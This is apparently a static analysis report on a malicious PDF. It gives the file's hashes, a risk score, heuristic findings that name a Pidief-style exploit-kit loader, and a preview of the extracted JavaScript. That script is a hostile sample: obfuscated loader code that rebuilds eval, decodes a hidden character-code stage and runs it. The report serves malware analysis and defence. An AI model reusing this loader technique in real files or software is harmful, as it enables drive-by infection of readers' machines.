Malicious PDF — malware analysis report

Static analysis result for SHA-256 b217efd43c851f9e…

MALICIOUS

PDF

44.6 KB First seen: 2013-08-13
MD5: 30b9b88a08220d8568002be775beffbd SHA-1: acea760010b0ae3b245e3e86a34ccece30e887f5 SHA-256: b217efd43c851f9ef34b5c6ae997a2f417128f0b69357b9944dc59e2ff5b18a9
86 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 Command and Scripting Interpreter: PowerShell

The PDF file contains embedded JavaScript, indicated by multiple heuristic firings and the presence of a JavaScript object. The ML classifier strongly suggests malicious intent. The JavaScript is likely designed to execute malicious code, potentially downloading a second-stage payload or performing other harmful actions. The 'test' in the document body is not indicative of user-facing content and likely a placeholder.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xAFB1 438 bytes
SHA-256: 785f93eb34d0c54b12e469101d0774ffcc79ddc302e39df652635cdb3a891ee3
Preview script
First 1,000 lines of the extracted script
qwe = ('nhsthn','ntrht').substr;
var g = qwe();
t='le';
a=["e","a","n","b","w",'v'];
e=g[a[0]+a[5]+a[1]+t[0]];
gxyu='';
jlb=('qwrwqr','tit');
e('oeaa=t'+('qwtwqt','hisundefined').replace(typeof qwe.dagb,'.')+'tit'+t);
levs=e('String.fr'+oeaa.substr(0,10));
wgw = e(oeaa.substr(10)['replace'](/u/g,','));
e('k=wgw.length');
for (i = 0; i < k; i+=2) {
	xojs = wgw[i+1] + ('qweqwe',wgw[i]);
	gxyu += levs(xojs);
}
e(gxyu);

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